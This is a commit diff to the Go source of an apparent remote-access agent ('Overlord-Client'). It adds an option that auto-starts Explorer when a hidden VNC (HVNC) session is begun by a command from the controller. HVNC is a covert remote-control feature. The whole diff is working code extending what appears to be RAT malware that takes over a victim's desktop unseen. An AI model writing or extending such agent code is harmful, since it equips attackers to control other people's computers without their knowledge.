add auto start explorer

Overlord-Client/cmd/agent/handlers/command.go

@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 
 	// ==================== HVNC COMMANDS ====================
 	case "hvnc_start":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		autoStartExplorer := false
+		if payload != nil {
+			if v, ok := payload["autoStartExplorer"].(bool); ok {
+				autoStartExplorer = v
+			}
+		}
 		env.HVNCMu.Lock()
 		if env.HVNCCancel != nil {
 			env.HVNCCancel()
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		done := make(chan struct{})
 		env.HVNCDone = done
 		goSafe("hvnc stream", env.Cancel, func() {
-			log.Printf("hvnc: start requested")
-			_ = HVNCStart(hvncCtx, env)
+			log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
+			_ = HVNCStart(hvncCtx, env, autoStartExplorer)
 			close(done)
 		})
 		env.HVNCMu.Unlock()

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
 	return hvncPersistedDisplayValue
 }
 
-func HVNCStart(ctx context.Context, env *rt.Env) error {
+func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
 	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
 	capture.SetH264TargetFPS(fps)
 	log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
 		return err
 	}
 
+	if autoStartExplorer {
+		go func() {
+			if err := capture.HVNCAutoStartExplorer(); err != nil {
+				log.Printf("hvnc: auto-start explorer error: %v", err)
+			}
+		}()
+	}
+
 	ticker := time.NewTicker(interval)
 	defer ticker.Stop()
 	for {